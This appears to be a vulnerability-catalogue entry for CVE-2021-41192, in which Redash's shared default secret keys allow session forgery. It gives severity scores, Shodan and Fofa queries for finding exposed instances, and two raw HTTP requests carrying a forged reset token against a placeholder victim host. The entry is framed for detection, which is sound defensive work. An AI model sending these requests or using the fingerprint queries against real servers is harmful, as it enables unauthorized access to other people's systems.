🔙 목록으로 돌아가기

CVE-2021-41192: Redash Setup Configuration - Default Secrets Disclosure

TitleRedash Setup Configuration - Default Secrets Disclosure
Authorbananabr
SeverityMedium
ImpactAn attacker can gain unauthorized access to sensitive information and potentially compromise the Redash application.
RemediationRemove or update the default secrets in the Redash setup configuration file.
CVSS Score6.5
EPSS Score0.87556
CVE IDCVE-2021-41192
CWE IDCWE-1188
Shodan Queryhttp.favicon.hash:698624197
Fofa Queryicon_hash=698624197
Tags cve2021 cve hackerone redash auth-bypass vuln

🔍 Vulnerability Description

Redash Setup Configuration is vulnerable to default secrets disclosure (Insecure Default Initialization of Resource). If an admin sets up Redash versions <=10.0 and prior without explicitly specifying the REDASH_COOKIE_SECRET or REDASH_SECRET_KEY environment variables, a default value is used for both that is the same across all installations. In such cases, the instance is vulnerable to attackers being able to forge sessions using the known default value.

🌐 HTTP Request

GET /reset/IjEi.YhAmmQ.cdQp7CnnVq02aQ05y8tSBddl-qs HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:128.12) Gecko/20100101 Firefox/128.12
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /redash/reset/IjEi.YhAmmQ.cdQp7CnnVq02aQ05y8tSBddl-qs HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.2
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-41192.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-41192.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A